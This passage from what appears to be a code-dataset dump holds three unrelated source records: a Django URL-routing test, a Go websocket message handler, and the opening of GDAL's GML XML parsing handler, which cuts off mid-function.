resolver = resolve(self.url)\n self.assertEqual(\n resolver.view_name, \"participants:invite_participant_to_team\"\n )\n\n def test_delete_participant_from_team_url(self):\n self.url = reverse_lazy(\n \"participants:delete_participant_from_team\",\n kwargs={\n \"participant_team_pk\": self.participant_team.pk,\n \"participant_pk\": self.invite_user.pk,\n },\n )\n self.assertEqual(\n str(self.url),\n \"/api/participants/participant_team/%s/participant/%s\"\n % (self.participant_team.pk, self.invite_user.pk),\n )\n resolver = resolve(self.url)\n self.assertEqual(\n resolver.view_name, \"participants:delete_participant_from_team\"\n )\n\n def test_get_teams_and_corresponding_challenges_for_a_participant_url(\n self,\n ):\n self.url = reverse_lazy(\n \"participants:get_teams_and_corresponding_challenges_for_a_participant\",\n kwargs={\"challenge_pk\": self.challenge.pk},\n )\n self.assertEqual(\n str(self.url),\n \"/api/participants/participant_teams/challenges/{}/user\".format(\n self.challenge.pk\n ),\n )\n resolver = resolve(self.url)\n self.assertEqual(\n resolver.view_name,\n \"participants:get_teams_and_corresponding_challenges_for_a_participant\",\n )\n\n def test_remove_self_from_participant_team_url(self):\n self.url = reverse_lazy(\n \"participants:remove_self_from_participant_team\",\n kwargs={\"participant_team_pk\": self.participant_team.pk},\n )\n self.assertEqual(\n str(self.url),\n \"/api/participants/remove_self_from_participant_team/%s\"\n % (self.participant_team.pk),\n )\n resolver = resolve(self.url)\n self.assertEqual(\n resolver.view_name,\n \"participants:remove_self_from_participant_team\",\n )\n"} +{"text": "package lhttp\n\nimport (\n\t\"container/list\"\n\t// \"log\"\n\t\"net/url\"\n\t\"strings\"\n)\n\ntype WsMessage struct {\n\t//message raw data\n\tmessage string\n\n\t//message command type\n\tcommand string\n\t//message headers\n\theaders map[string]string\n\t//message body\n\tbody string\n}\n\n//fill message by command headers and body\nfunc (m *WsMessage) serializeMessage() string {\n\tm.message = protocolNameWithVersion + \" \"\n\tm.message += m.command + CRLF\n\n\tfor k, v := range m.headers {\n\t\tm.message += k + \":\" + v + CRLF\n\t}\n\tm.message += CRLF + m.body\n\n\treturn m.message\n}\n\n//parse websocket body\nfunc buildMessage(data string) *WsMessage {\n\t//TODO optimise ,to use builder pattern\n\ts := data\n\tmessage := &WsMessage{message: data}\n\tmessage.headers = make(map[string]string, headerMax)\n\t//parse message\n\n\t//parse start line\n\ti := strings.Index(s, CRLF)\n\tmessage.command = s[protocolLength+1 : i]\n\n\t//parse hearders\n\tk := 0\n\theaders := s[i+2:]\n\tvar key string\n\tvar value string\n\t//traverse once\n\tlength := len(headers)\n\tfor j, ch := range headers {\n\t\tif ch == ':' && key == \"\" {\n\t\t\tkey = headers[k:j]\n\t\t\tk = j + 1\n\t\t} else if length > j+1 && headers[j:j+2] == CRLF {\n\t\t\tvalue = headers[k:j]\n\t\t\tk = j + 2\n\n\t\t\tmessage.headers[key] = value\n\t\t\t// log.Print(\"parse head key:\", key, \" value:\", value)\n\t\t\tkey = \"\"\n\t\t}\n\t\tif length > k+1 && headers[k:k+2] == CRLF {\n\t\t\tk += 2\n\t\t\tbreak\n\t\t}\n\t}\n\n\t//set body\n\tmessage.body = headers[k:]\n\n\treturn message\n}\n\ntype WsHandler struct {\n\tcallbacks HandlerCallbacks\n\n\t//websocket connection\n\tconn *Conn\n\n\t// nats conn\n\tsubscribe_nats_conn map[string]interface{}\n\n\t//receive message\n\tmessage *WsMessage\n\n\tresp WsMessage\n\n\tupstreamURL *url.URL\n\t//one connection set id map sevel connections\n\t//connSetID string\n\n\t//save multipars datas, it is a list\n\tmultiparts *multipartBlock\n}\n\nfunc (req *WsHandler) reset() {\n\treq.resp = WsMessage{command: \"\", headers: nil, body: \"\"}\n}\n\n\nfunc (req *WsHandler) GetMultipart() *multipartBlock {\n\treturn req.multiparts\n}\n\n//define subscribe callback as a WsHandler method is very very very importent\nfunc (req *WsHandler) subscribeCallback(s string) {\n\tMessage.Send(req.conn, s)\n}\n\nfunc (req *WsHandler) SetCommand(s string) {\n\treq.resp.command = s\n}\n\nfunc (req *WsHandler) GetCommand() string {\n\treturn req.message.command\n}\n\n\nfunc (req *WsHandler) SetHeader(hkey ,hvalue string) {\n\treq.message.headers[hkey] = hvalue\n}\n\nfunc (req *WsHandler) GetHeader(hkey string) string {\n\tif value, ok := req.message.headers[hkey]; ok {\n\t\treturn value\n\t} else {\n\t\treturn \"\"\n\t}\n}\n\n//if header already exist,update it\nfunc (req *WsHandler) AddHeader(hkey, hvalue string) {\n\treq.resp.headers = make(map[string]string, headerMax)\n\treq.resp.headers[hkey] = hvalue\n}\n\nfunc (req *WsHandler) GetBody() string {\n\treturn req.message.body\n}\n\n//if response is nil, use request to fill it\nfunc (req *WsHandler) setResponse() {\n\tif req.resp.command == \"\" {\n\t\treq.resp.command = req.message.command\n\t}\n\tif req.resp.headers == nil {\n\t\treq.resp.headers = req.message.headers\n\t}\n\tif req.resp.body == \"\" {\n\t\treq.resp.body = req.message.body\n\t}\n}\n\n//if you want change command or header ,using SetCommand or AddHeader\nfunc (req *WsHandler) Send(body string) {\n\tresp := protocolNameWithVersion + \" \"\n\tif req.resp.command != \"\" {\n\t\tresp = resp + req.resp.command + CRLF\n\t} else {\n\t\tresp = resp + req.message.command + CRLF\n\t}\n\n\tif req.resp.headers != nil {\n\t\tfor k, v := range req.resp.headers {\n\t\t\tresp = resp + k + \":\" + v + CRLF\n\t\t}\n\t} else {\n\t\tfor k, v := range req.message.headers {\n\t\t\tresp = resp + k + \":\" + v + CRLF\n\t\t}\n\t}\n\tresp += CRLF + body\n\n\treq.resp.message = resp\n\n\t// log.Print(\"send message:\", string(req.message.message))\n\n\tMessage.Send(req.conn, req.resp.message)\n\n\treq.resp = WsMessage{command: \"\", headers: nil, body: \"\"}\n}\n\ntype HandlerCallbacks interface {\n\tOnOpen(*WsHandler)\n\tOnClose(*WsHandler)\n\tOnMessage(*WsHandler)\n}\n\ntype BaseProcessor struct {\n}\n\nfunc (*BaseProcessor) OnOpen(*WsHandler) {\n\t// log.Print(\"base on open\")\n}\nfunc (*BaseProcessor) OnMessage(*WsHandler) {\n\t// log.Print(\"base on message\")\n}\nfunc (*BaseProcessor) OnClose(*WsHandler) {\n\t// log.Print(\"base on close\")\n}\n\nfunc StartServer(ws *Conn) {\n\topenFlag := 0\n\n\t//init WsHandler,set connection and connsetid\n\twsHandler := &WsHandler{conn: ws}\n\twsHandler.subscribe_nats_conn = make(map[string]interface{}, subscribeMax)\n\n\tfor {\n\t\tvar data string\n\t\terr := Message.Receive(ws, &data)\n\t\t// log.Print(\"receive message:\", string(data))\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\t\tl:=len(data)\n\t\tif l <= protocolLength {\n\t\t\t//TODO how to provide other protocol\n\t\t\t// log.Print(\"TODO provide other protocol\")\n\t\t\tcontinue\n\t\t}\n\n\t\tl=len(data)\n\t\tif l > MaxLength {\n\t\t\t//TODO how to provide other protocol\n\t\t\t// log.Print(\"TODO provide other protocol\")\n\t\t\tcontinue\n\t\t}\n\n\n\t\tif data[:protocolLength] != protocolNameWithVersion {\n\t\t\t//TODO how to provide other protocol\n\t\t\t// log.Print(\"TODO provide other protocol\")\n\t\t\tcontinue\n\t\t}\n\n\t\twsHandler.message = buildMessage(data)\n\t\twsHandler.reset()\n\n\t\tvar e *list.Element\n\t\t//head filter before process message\n\t\tfor e = beforeRequestFilterList.Front(); e != nil; e = e.Next() {\n\t\t\te.Value.(HeadFilterHandler).BeforeRequestFilterHandle(wsHandler)\n\t\t}\n\n\t\twsHandler.callbacks = getProcessor(wsHandler.message.command)\n\t\tif wsHandler.callbacks == nil {\n\t\t\twsHandler.callbacks = &BaseProcessor{}\n\t\t}\n\t\t// log.Print(\"callbacks:\", wsHandler.callbacks.OnMessage)\n\t\t//just call once\n\t\tif openFlag == 0 {\n\t\t\tfor e = onOpenFilterList.Front(); e != nil; e = e.Next() {\n\t\t\t\te.Value.(HeadFilterHandler).OnOpenFilterHandle(wsHandler)\n\t\t\t}\n\t\t\tif wsHandler.callbacks != nil {\n\t\t\t\twsHandler.callbacks.OnOpen(wsHandler)\n\t\t\t} else {\n\t\t\t\t//log.Print(\"error on open is null\")\n\t\t\t}\n\t\t\topenFlag = 1\n\t\t}\n\t\tif wsHandler.callbacks != nil {\n\t\t\twsHandler.callbacks.OnMessage(wsHandler)\n\t\t} else {\n\t\t\t//log.Print(\"error onmessage is null \")\n\t\t}\n\n\t\t//head filter after process message\n\t\tfor e = afterRequestFilterList.Front(); e != nil; e = e.Next() {\n\t\t\te.Value.(HeadFilterHandler).AfterRequestFilterHandle(wsHandler)\n\t\t}\n\t}\n\tdefer func() {\n\t\tfor e := onCloseFilterList.Front(); e != nil; e = e.Next() {\n\t\t\te.Value.(HeadFilterHandler).OnCloseFilterHandle(wsHandler)\n\t\t}\n\t\tif wsHandler.callbacks != nil {\n\t\t\twsHandler.callbacks.OnClose(wsHandler)\n\t\t} else {\n\t\t\t//log.Print(\"error on close is null\")\n\t\t}\n\t\tws.Close()\n\t}()\n}\n"} +{"text": "/**********************************************************************\n * $Id: gmlhandler.cpp 29217 2015-05-21 09:08:48Z rouault $\n *\n * Project: GML Reader\n * Purpose: Implementation of GMLHandler class.\n * Author: Frank Warmerdam, warmerdam@pobox.com\n *\n **********************************************************************\n * Copyright (c) 2002, Frank Warmerdam\n * Copyright (c) 2008-2014, Even Rouault \n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER \n * DEALINGS IN THE SOFTWARE.\n ****************************************************************************/\n\n#include \n#include \"gmlreaderp.h\"\n#include \"cpl_conv.h\"\n#include \"cpl_string.h\"\n#include \"cpl_hash_set.h\"\n\n#ifdef HAVE_XERCES\n\n/* Must be a multiple of 4 */\n#define MAX_TOKEN_SIZE 1000\n\n/************************************************************************/\n/* GMLXercesHandler() */\n/************************************************************************/\n\nGMLXercesHandler::GMLXercesHandler( GMLReader *poReader ) : GMLHandler(poReader)\n{\n m_nEntityCounter = 0;\n}\n\n/************************************************************************/\n/* startElement() */\n/************************************************************************/\n\nvoid GMLXercesHandler::startElement(CPL_UNUSED const XMLCh* const uri,\n const XMLCh* const localname,\n CPL_UNUSED const XMLCh* const qname,\n const Attributes& attrs )\n{\n char szElementName[MAX_TOKEN_SIZE];\n\n m_nEntityCounter = 0;\n\n /* A XMLCh character can expand to 4 bytes in UTF-8 */\n if (4 * tr_strlen( localname ) >= MAX_TOKEN_SIZE)\n {\n static int bWarnOnce = FALSE;\n XMLCh* tempBuffer = (XMLCh*) CPLMalloc(sizeof(XMLCh) * (MAX_TOKEN_SIZE / 4 + 1));\n memcpy(tempBuffer, localname, sizeof(XMLCh) * (MAX_TOKEN_SIZE / 4));\n tempBuffer[MAX_TOKEN_SIZE / 4] = 0;\n tr_strcpy( szElementName, tempBuffer );\n CPLFree(tempBuffer);\n if (!bWarnOnce)\n {\n bWarnOnce = TRUE;\n CPLError(CE_Warning, CPLE_AppDefined, \"A too big element name has been truncated\");\n }\n }\n else\n tr_strcpy( szElementName, localname );\n\n if (GMLHandler::startElement(szElementName, strlen(szElementName), (void*) &attrs) == OGRERR_NOT_ENOUGH_MEMORY)\n {\n throw SAXNotSupportedException(\"Out of memory\");\n }\n}\n\n/************************************************************************/\n/* endElement() */\n/************************************************************************/\nvoid GMLXercesHandler::endElement(CPL_UNUSED const XMLCh* const uri,\n CPL_UNUSED const XMLCh* const localname,\n CPL_UNUSED const XMLCh* const qname )\n{\n m_nEntityCounter = 0;\n\n if (GMLHandler::endElement() == OGRERR_NOT_ENOUGH_MEMORY)\n {\n throw SAXNotSupportedException(\"Out of memory\");\n }\n}\n\n/************************************************************************/\n/* characters() */\n/************************************************************************/\n\nvoid GMLXercesHandler::characters(const XMLCh* const chars_in,\n CPL_UNUSED\n#if XERCES_VERSION_MAJOR >= 3\n const XMLSize_t length\n#else\n const unsigned int length\n#endif\n )\n\n{\n char* utf8String = tr_strdup(chars_in);\n int nLen = strlen(utf8String);\n OGRErr eErr = GMLHandler::dataHandler(utf8String, nLen);\n CPLFree(utf8String);\n if (eErr == OGRERR_NOT_ENOUGH_MEMORY)\n {\n throw SAXNotSupportedException(\"Out of memory\");\n }\n}\n\n/************************************************************************/\n/* fatalError() */\n/************************************************************************/\n\nvoid GMLXercesHandler::fatalError( const SAXParseException &exception)\n\n{\n char *pszErrorMessage;\n\n pszErrorMessage = tr_strdup( exception.getMessage() );\n CPLError( CE_Failure, CPLE_AppDefined, \n \"XML Parsing Error: %s at line %d, column %d\\n\", \n pszErrorMessage, (int)exception.getLineNumber(), (int)exception.getColumnNumber() );\n\n CPLFree( pszErrorMessage );\n}\n\n/************************************************************************/\n/* startEntity() */\n/************************************************************************/\n\nvoid GMLXercesHandler::startEntity (CPL_UNUSED const XMLCh *const name)\n{\n m_nEntityCounter ++;\n if (m_nEntityCounter > 1000 && !m_poReader->HasStoppedParsing())\n {\n throw SAXNotSupportedException(\"File probably corrupted (million laugh pattern)\");\n }\n}\n\n/************************************************************************/\n/* GetFID() */\n/************************************************************************/\n\nconst char* GMLXercesHandler::GetFID(void* attr)\n{\n const Attributes* attrs = (const Attributes*) attr;\n int nFIDIndex;\n XMLCh anFID[100];\n\n tr_strcpy( anFID, \"fid\" );\n nFIDIndex = attrs->getIndex( anFID );\n if( nFIDIndex != -1 )\n {\n char* pszValue = tr_strdup( attrs->getValue( nFIDIndex ) );\n osFID.assign(pszValue);\n CPLFree(pszValue);\n return osFID.c_str();\n }\n else\n {\n tr_strcpy( anFID, \"gml:id\" );\n nFIDIndex = attrs->getIndex( anFID );\n if( nFIDIndex != -1 )\n {\n char* pszValue = tr_strdup( attrs->getValue( nFIDIndex ) );\n osFID.assign(pszValue);\n CPLFree(pszValue);\n return osFID.c_str();\n }\n }\n\n osFID.resize(0);\n return NULL;\n}\n\n/************************************************************************/\n/* AddAttributes() */\n/************************************************************************/\n\nCPLXMLNode* GMLXercesHandler::AddAttributes(CPLXMLNode* psNode, void* attr)\n{\n const Attributes* attrs = (const Attributes*) attr;\n\n CPLXMLNode* psLastChild = NULL;\n\n for(unsigned int i=0; i < attrs->getLength(); i++)\n {\n char* pszName = tr_strdup(attrs->getQName(i));\n char* pszValue = tr_strdup(attrs->getValue(i));\n\n CPLXMLNode* psChild = CPLCreateXMLNode(NULL, CXT_Attribute, pszName);\n CPLCreateXMLNode(psChild, CXT_Text, pszValue);\n\n CPLFree(pszName);\n CPLFree(pszValue);\n\n if (psLastChild == NULL)\n psNode->psChild = psChild;\n else\n psLastChild->psNext = psChild;\n psLastChild = psChild;\n }\n\n return psLastChild;\n}\n\n/************************************************************************/\n/* GetAttributeValue() */\n/************************************************************************/\n\nchar* GMLXercesHandler::GetAttributeValue(void* attr, const char* pszAttributeName)\n{\n const Attributes* attrs = (const Attributes*) attr;\n for(unsigned int i=0; i < attrs->getLength(); i++)\n {\n char* pszString = tr_strdup(attrs->getQName(i));\n if (strcmp(pszString, pszAttributeName) == 0)\n {\n CPLFree(pszString);\n return tr_strdup(attrs->getValue(i));\n }\n CPLFree(pszString);\n }\n return NULL;\n}\n\n/************************************************************************/\n/* GetAttributeByIdx() */\n/************************************************************************/\n\nchar* GMLXercesHandler::GetAttributeByIdx(void* attr, unsigned int idx, char** ppszKey)\n{\n const Attributes* attrs = (const Attributes*) attr;\n if( idx >= attrs->getLength() )\n {\n *ppszKey = NULL;\n return NULL;\n }\n *ppszKey = tr_strdup(attrs->getQName(idx));\n return tr_strdup(attrs->getValue(idx));\n}\n\n#endif\n\n#ifdef HAVE_EXPAT\n\n/************************************************************************/\n/* GMLExpatHandler() */\n/************************************************************************/\n\nGMLExpatHandler::GMLExpatHandler( GMLReader *poReader, XML_Parser oParser ) : GMLHandler(poReader)\n\n{\n m_oParser = oParser;\n m_bStopParsing = FALSE;\n m_nDataHandlerCounter = 0;\n}\n\n/************************************************************************/\n/* startElementCbk() */\n/************************************************************************/\n\nvoid XMLCALL GMLExpatHandler::startElementCbk(void *pUserData, const char *pszName,\n const char **ppszAttr)\n\n{\n GMLExpatHandler* pThis = ((GMLExpatHandler*)pUserData);\n if (pThis->m_bStopParsing)\n return;\n\n const char* pszIter = pszName;\n char ch;\n while((ch = *pszIter) != '\\0')\n {\n if (ch == ':')\n pszName = pszIter + 1;\n pszIter ++;\n }\n\n if (pThis->GMLHandler::startElement(pszName, (int)(pszIter - pszName), ppszAttr) == OGRERR_NOT_ENOUGH_MEMORY)\n {\n CPLError(CE_Failure, CPLE_OutOfMemory, \"Out of memory\");\n pThis->m_bStopParsing = TRUE;\n XML_StopParser(pThis->m_oParser, XML_FALSE);\n }\n\n}\n\n/************************************************************************/\n/* endElementCbk() */\n/************************************************************************/\nvoid XMLCALL GMLExpatHandler::endElementCbk(void *pUserData,\n CPL_UNUSED const char* pszName )\n{\n GMLExpatHandler* pThis = ((GMLExpatHandler*)pUserData);\n if (pThis->m_bStopParsing)\n return;\n\n if (pThis->GMLHandler::endElement() == OGRERR_NOT_ENOUGH_MEMORY)\n {\n CPLError(CE_Failure, CPLE_OutOfMemory, \"Out of memory\");\n pThis->m_bStopParsing = TRUE;\n XML_StopParser(pThis->m_oParser, XML_FALSE);\n }\n}\n\n/************************************************************************/\n/* dataHandlerCbk() */\n/************************************************************************/\n\nvoid XMLCALL GMLExpatHandler::dataHandlerCbk(void *pUserData, const char *data, int nLen)\n\n{\n GMLExpatHandler* pThis = ((GMLExpatHandler*)pUserData);\n if (pThis->m_bStopParsing)\n return;\n\n pThis->m_nDataHandlerCounter ++;\n /* The size of the buffer that is fetched and that Expat parses is */\n /* PARSER_BUF_SIZE bytes. If the dataHandlerCbk() callback is called */\n /* more than PARSER_BUF_SIZE times, this means that one byte in the */\n /* file expands to more XML text fragments, which is the sign of a */\n /* likely abuse of */\n /* Note: the counter is zeroed by ResetDataHandlerCounter() before each */\n /* new XML parsing. */\n if (pThis->m_nDataHandlerCounter >= PARSER_BUF_SIZE)\n {\n CPLError(CE_Failure, CPLE_AppDefined, \"File probably corrupted (million laugh pattern)\");\n pThis->m_bStopParsing = TRUE;\n XML_StopParser(pThis->m_oParser, XML_FALSE);\n return;\n }\n\n if (pThis->GMLHandler::dataHandler(data, nLen) == OGRERR_NOT_ENOUGH_MEMORY)\n {\n CPLError(CE_Failure, CPLE_OutOfMemory, \"Out of memory\");\n pThis->m_bStopParsing = TRUE;\n XML_StopParser(pThis->m_oParser, XML_FALSE);\n return;\n }\n}\n\n/************************************************************************/\n/* GetFID() */\n/************************************************************************/\n\nconst char* GMLExpatHandler::GetFID(void* attr)\n{\n const char** papszIter = (const char** )attr;\n while(*papszIter)\n {\n if (strcmp(*papszIter, \"fid\") == 0 ||\n strcmp(*papszIter, \"gml:id\") == 0)\n {\n return papszIter[1];\n }\n papszIter += 2;\n }\n return NULL;\n}\n\n/************************************************************************/\n/* AddAttributes() */\n/************************************************************************/\n\nCPLXMLNode* GMLExpatHandler::AddAttributes(CPLXMLNode* psNode, void* attr)\n{\n const char** papszIter = (const char** )attr;\n\n CPLXMLNode* psLastChild = NULL;\n\n while(*papszIter)\n {\n CPLXMLNode* psChild = CPLCreateXMLNode(NULL, CXT_Attribute, papszIter[0]);\n CPLCreateXMLNode(psChild, CXT_Text, papszIter[1]);\n\n if (psLastChild == NULL)\n psNode->psChild = psChild;\n else\n psLastChild->psNext = psChild;\n psLastChild = psChild;\n\n papszIter += 2;\n }\n\n return psLastChild;\n}\n\n/************************************************************************/\n/* GetAttributeValue() */\n/************************************************************************/\n\nchar* GMLExpatHandler::GetAttributeValue(void* attr, const char* pszAttributeName)\n{\n const char** papszIter = (const char** )attr;\n while(*papszIter)\n {\n if (strcmp(*papszIter, pszAttributeName) == 0)\n {\n return CPLStrdup(papszIter[1]);\n }\n papszIter += 2;\n }\n return NULL;\n}\n\n/************************************************************************/\n/* GetAttributeByIdx() */\n/************************************************************************/\n\n/* CAUTION: should be called with increasing idx starting from 0 and */\n/* no attempt to read beyond end of list */\nchar* GMLExpatHandler::GetAttributeByIdx(void* attr, unsigned int idx, char** ppszKey)\n{\n const char** papszIter = (const char** )attr;\n if( papszIter[2 * idx] == NULL )\n {\n *ppszKey = NULL;\n return NULL;\n }\n *ppszKey = CPLStrdup(papszIter[2 * idx]);\n return CPLStrdup(papszIter[2 * idx+1]);\n}\n\n#endif\n\n\nstatic const char* const apszGMLGeometryElements[] =\n{\n \"BoundingBox\", /* ows:BoundingBox */\n \"CompositeCurve\",\n \"CompositeSurface\",\n \"Curve\",\n \"GeometryCollection\", /* OGR < 1.8.0 bug... */\n \"LineString\",\n \"MultiCurve\",\n \"MultiGeometry\",\n \"MultiLineString\",\n \"MultiPoint\",\n \"MultiPolygon\",\n \"MultiSurface\",\n \"Point\",\n \"Polygon\",\n \"PolygonPatch\",\n \"SimplePolygon\", /* GML 3.3 compact encoding */\n \"SimpleRectangle\", /* GML 3.3 compact encoding */\n \"SimpleTriangle\", /* GML 3.3 compact encoding */\n \"SimpleMultiPoint\", /* GML 3.3 compact encoding */\n \"Solid\",\n \"Surface\",\n \"TopoCurve\",\n \"TopoSurface\"\n};\n\n#define GML_GEOMETRY_TYPE_COUNT \\\n (int)(sizeof(apszGMLGeometryElements) / sizeof(apszGMLGeometryElements[0]))\n\nstruct _GeometryNamesStruct {\n unsigned long nHash;\n const char *pszName;\n} ;\n\n/************************************************************************/\n/* GMLHandlerSortGeometryElements() */\n/************************************************************************/\n\nstatic int GMLHandlerSortGeometryElements(const void *_pA, const void *_pB)\n{\n GeometryNamesStruct* pA = (GeometryNamesStruct*)_pA;\n GeometryNamesStruct* pB = (GeometryNamesStruct*)_pB;\n CPLAssert(pA->nHash != pB->nHash);\n if (pA->nHash < pB->nHash)\n return -1;\n else\n return 1;\n}\n\n/************************************************************************/\n/* GMLHandler() */\n/************************************************************************/\n\nGMLHandler::GMLHandler( GMLReader *poReader )\n\n{\n m_poReader = poReader;\n m_bInCurField = FALSE;\n m_nCurFieldAlloc = 0;\n m_nCurFieldLen = 0;\n m_pszCurField = NULL;\n m_nAttributeIndex = -1;\n m_nAttributeDepth = 0;\n\n m_pszGeometry = NULL;\n m_nGeomAlloc = 0;\n m_nGeomLen = 0;\n m_nGeometryDepth = 0;\n m_bAlreadyFoundGeometry = FALSE;\n m_nGeometryPropertyIndex = 0;\n\n m_nDepthFeature = m_nDepth = 0;\n m_inBoundedByDepth = 0;\n\n eAppSchemaType = APPSCHEMA_GENERIC;\n\n m_pszCityGMLGenericAttrName = NULL;\n m_inCityGMLGenericAttrDepth = 0;\n\n m_bReportHref = FALSE;\n m_pszHref = NULL;\n m_pszUom = NULL;\n m_pszValue = NULL;\n m_pszKieli = NULL;\n\n pasGeometryNames = (GeometryNamesStruct*)CPLMalloc(\n GML_GEOMETRY_TYPE_COUNT * sizeof(GeometryNamesStruct));\n for(int i=0; i= 2 && apsXMLNode[1].psNode != NULL)\n CPLDestroyXMLNode(apsXMLNode[1].psNode);\n\n CPLFree( m_pszCurField );\n CPLFree( m_pszGeometry );\n CPLFree( m_pszCityGMLGenericAttrName );\n CPLFree( m_pszHref );\n CPLFree( m_pszUom );\n CPLFree( m_pszValue );\n CPLFree( m_pszKieli );\n CPLFree( pasGeometryNames );\n}\n\n\n/************************************************************************/\n/* startElement() */\n/************************************************************************/\n\nOGRErr GMLHandler::startElement(const char *pszName, int nLenName, void* attr)\n{\n OGRErr eRet;\n switch(stateStack[nStackDepth])\n {\n case STATE_TOP: eRet = startElementTop(pszName, nLenName, attr); break;\n case STATE_DEFAULT: eRet = startElementDefault(pszName, nLenName, attr); break;\n case STATE_FEATURE: eRet = startElementFeatureAttribute(pszName, nLenName, attr); break;\n case STATE_PROPERTY: eRet = startElementFeatureAttribute(pszName, nLenName, attr); break;\n case STATE_FEATUREPROPERTY: eRet = startElementFeatureProperty(pszName, nLenName, attr); break;\n case STATE_GEOMETRY: eRet = startElementGeometry(pszName, nLenName, attr); break;\n case STATE_IGNORED_FEATURE: eRet = OGRERR_NONE; break;\n case STATE_BOUNDED_BY: eRet = startElementBoundedBy(pszName, nLenName, attr); break;\n case STATE_CITYGML_ATTRIBUTE: eRet = startElementCityGMLGenericAttr(pszName, nLenName, attr); break;\n default: eRet = OGRERR_NONE; break;\n }\n m_nDepth++;\n return eRet;\n}\n\n/************************************************************************/\n/* endElement() */\n/************************************************************************/\n\nOGRErr GMLHandler::endElement()\n{\n m_nDepth--;\n switch(stateStack[nStackDepth])\n {\n case STATE_TOP: return OGRERR_NONE; break;\n case STATE_DEFAULT: return endElementDefault(); break;\n case STATE_FEATURE: return endElementFeature(); break;\n case STATE_PROPERTY: return endElementAttribute(); break;\n case STATE_FEATUREPROPERTY: return endElementFeatureProperty(); break;\n case STATE_GEOMETRY: return endElementGeometry(); break;\n case STATE_IGNORED_FEATURE: return endElementIgnoredFeature(); break;\n case STATE_BOUNDED_BY: return endElementBoundedBy(); break;\n case STATE_CITYGML_ATTRIBUTE: return endElementCityGMLGenericAttr(); break;\n default: return OGRERR_NONE; break;\n }\n}\n\n/************************************************************************/\n/* dataHandler() */\n/************************************************************************/\n\nOGRErr GMLHandler::dataHandler(const char *data, int nLen)\n{\n switch(stateStack[nStackDepth])\n {\n case STATE_TOP: return OGRERR_NONE; break;\n case STATE_DEFAULT: return OGRERR_NONE; break;\n case STATE_FEATURE: return OGRERR_NONE; break;\n case STATE_PROPERTY: return dataHandlerAttribute(data, nLen); break;\n case STATE_FEATUREPROPERTY: return OGRERR_NONE; break;\n case STATE_GEOMETRY: return dataHandlerGeometry(data, nLen); break;\n case STATE_IGNORED_FEATURE: return OGRERR_NONE; break;\n case STATE_BOUNDED_BY: return OGRERR_NONE; break;\n case STATE_CITYGML_ATTRIBUTE: return dataHandlerAttribute(data, nLen); break;\n default: return OGRERR_NONE; break;\n }\n}\n\n#define PUSH_STATE(val) do { nStackDepth ++; CPLAssert(nStackDepth < STACK_SIZE); stateStack[nStackDepth] = val; } while(0)\n#define POP_STATE() nStackDepth --\n\n/************************************************************************/\n/* startElementBoundedBy() */\n/************************************************************************/\n\nOGRErr GMLHandler::startElementBoundedBy(const char *pszName,\n CPL_UNUSED int nLenName,\n void* attr )\n{\n if ( m_nDepth == 2 && strcmp(pszName, \"Envelope\") == 0 )\n {\n char* pszGlobalSRSName = GetAttributeValue(attr, \"srsName\");\n m_poReader->SetGlobalSRSName(pszGlobalSRSName);\n CPLFree(pszGlobalSRSName);\n }\n\n return OGRERR_NONE;\n}\n\n/************************************************************************/\n/* startElementGeometry() */\n/************************************************************************/\n\nOGRErr GMLHandler::startElementGeometry(const char *pszName, int nLenName, void* attr )\n{\n if( nLenName == 9 && strcmp(pszName, \"boundedBy\") == 0 )\n {\n m_inBoundedByDepth = m_nDepth;\n\n PUSH_STATE(STATE_BOUNDED_BY);\n\n return OGRERR_NONE;\n }\n\n /* Create new XML Element */\n CPLXMLNode* psCurNode = (CPLXMLNode *) CPLCalloc(sizeof(CPLXMLNode),1);\n psCurNode->eType = CXT_Element;\n psCurNode->pszValue = (char*) CPLMalloc( nLenName+1 );\n memcpy(psCurNode->pszValue, pszName, nLenName+1);\n\n /* Attach element as the last child of its parent */\n NodeLastChild& sNodeLastChild = apsXMLNode[apsXMLNode.size()-1];\n CPLXMLNode* psLastChildParent = sNodeLastChild.psLastChild;\n\n if (psLastChildParent == NULL)\n {\n CPLXMLNode* psParent = sNodeLastChild.psNode;\n if (psParent)\n psParent->psChild = psCurNode;\n }\n else\n {\n psLastChildParent->psNext = psCurNode;\n }\n sNodeLastChild.psLastChild = psCurNode;\n\n /* Add attributes to the element */\n CPLXMLNode* psLastChildCurNode = AddAttributes(psCurNode, attr);\n\n /* Some CityGML lack a srsDimension=\"3\" in posList, such as in */\n /* http://www.citygml.org/fileadmin/count.php?f=fileadmin%2Fcitygml%2Fdocs%2FFrankfurt_Street_Setting_LOD3.zip */\n /* So we have to add it manually */\n if (eAppSchemaType == APPSCHEMA_CITYGML && nLenName == 7 &&\n strcmp(pszName, \"posList\") == 0 &&\n CPLGetXMLValue(psCurNode, \"srsDimension\", NULL) == NULL)\n {\n CPLXMLNode* psChild = CPLCreateXMLNode(NULL, CXT_Attribute, \"srsDimension\");\n CPLCreateXMLNode(psChild, CXT_Text, \"3\");\n\n if (psLastChildCurNode == NULL)\n psCurNode->psChild = psChild;\n else\n psLastChildCurNode->psNext = psChild;\n psLastChildCurNode = psChild;\n }\n\n /* Push the element on the stack */\n NodeLastChild sNewNodeLastChild;\n sNewNodeLastChild.psNode = psCurNode;\n sNewNodeLastChild.psLastChild = psLastChildCurNode;\n apsXMLNode.push_back(sNewNodeLastChild);\n\n if (m_pszGeometry)\n {\n CPLFree(m_pszGeometry);\n m_pszGeometry = NULL;\n m_nGeomAlloc = 0;\n m_nGeomLen = 0;\n }\n\n return 